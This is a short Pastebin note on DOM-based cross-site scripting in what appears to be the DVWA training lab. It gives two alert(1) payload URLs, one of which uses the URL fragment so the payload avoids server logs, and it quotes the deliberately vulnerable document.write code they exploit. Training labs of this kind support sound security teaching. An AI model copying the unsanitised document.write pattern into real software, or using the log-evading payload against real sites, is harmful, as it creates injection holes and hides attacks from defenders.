Advertisement
digininja

dom xss

Apr 12th, 2017
167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 0.75 KB | None | 0 0
  1. Basic but the xss gets sent to the server so hits the logs
  2.  
  3. http://dvwa.dev/dom_xss.php?default=%3Cscript%3Ealert(1)%3C/script%3E
  4.  
  5. Better, the fragment is client side only so doesn't go to the server.
  6.  
  7. http://dvwa.dev/dom_xss.php?default=English#%3Cscript%3Ealert(1)%3C/script%3E
  8.  
  9. Select your language:
  10.  
  11. <select><script>
  12.  
  13. document.write("<option value='1'>"+decodeURI(document.location.href.substring(document.location.href.indexOf("default=")+8))+"</option>");
  14.  
  15. document.write("<option value='2'>English</option>");
  16. document.write("<option value='3'>Almost English</option>");
  17. document.write("<option value='4'>Spanish</option>");
  18. document.write("<option value='5'>German</option>");
  19.  
  20. </script></select>
  21. <input type="submit" value="Select" />
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement